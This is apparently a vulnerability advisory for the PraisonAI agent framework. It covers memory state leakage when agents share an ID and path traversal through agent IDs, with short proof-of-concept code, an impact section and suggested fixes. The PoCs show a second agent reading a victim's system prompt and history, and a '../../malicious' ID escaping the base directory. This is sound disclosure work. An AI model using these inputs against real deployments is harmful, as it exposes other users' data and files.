PraisonAI has Memory State Leakage and Path Traversal in MultiAgent Context Handling

PoC

Memory State Leakage

multi_ledger = MultiAgentLedger()

# Victim agent (user1) registers and tracks sensitive data
victim_ledger = multi_ledger.get_agent_ledger('user1_agent')
victim_ledger.track_system_prompt("Sensitive system prompt")
victim_ledger.track_history([{"role": "user", "content": "Secret data"}])

# Attacker registers with the same ID
attacker_ledger = multi_ledger.get_agent_ledger('user1_agent')

# Attacker now has access to victim's ledger
print(attacker_ledger.get_ledger().system_prompt)  # Outputs: "Sensitive system prompt"
print(attacker_ledger.get_ledger().history)        # Outputs: [{'role': 'user', 'content': 'Secret data'}]

Path Traversal

with tempfile.TemporaryDirectory() as tmpdir:
    multi_monitor = MultiAgentMonitor(base_path=tmpdir)
    
    # Create agent with malicious ID
    malicious_id = '../../malicious'
    monitor = multi_monitor.get_agent_monitor(malicious_id)
    
    # The monitor file is created outside the intended base_path
    # Example: if tmpdir is '/tmp/safe_dir', the actual path might be '/tmp/malicious'
    print(monitor.path)  # Outputs: '/tmp/malicious' (or equivalent)

Impact

• Memory State Leakage: This vulnerability can lead to unauthorized access to sensitive agent context, including system prompts and conversation history. In a multi-tenant system, this could result in cross-user data leakage.
• Path Traversal: An attacker can read or write arbitrary files on the system, potentially leading to information disclosure, denial of service (by overwriting critical files), or remote code execution (if executable files are overwritten).

Recommended Fix

For Memory State Leakage

• Enforce unique agent IDs at the application level. If the application expects unique IDs, add a check during agent registration to prevent duplicates.
• Alternatively, modify the MultiAgentLedger to throw an exception if an existing agent ID is reused (unless explicitly allowed).

For Path Traversal

• Sanitize agent IDs before using them in file paths. Replace any non-alphanumeric characters (except safe ones like underscores) or remove path traversal sequences.
• Use os.path.join and os.path.realpath to resolve paths, then check that the resolved path starts with the intended base directory.

Example fix for MultiAgentMonitor:

import os

def get_agent_monitor(self, agent_id: str):
    # Sanitize agent_id to remove path traversal
    safe_id = os.path.basename(agent_id.replace('../', '').replace('..\\', ''))
    # Alternatively, use a strict allow-list of characters
    
    # Construct path and ensure it's within base_path
    agent_path = os.path.join(self.base_path, safe_id)
    real_path = os.path.realpath(agent_path)
    real_base = os.path.realpath(self.base_path)
    
    if not real_path.startswith(real_base):
        raise ValueError(f"Invalid agent ID: {agent_id}")
    
    ...

Additionally, consider using a dedicated function for sanitizing filenames.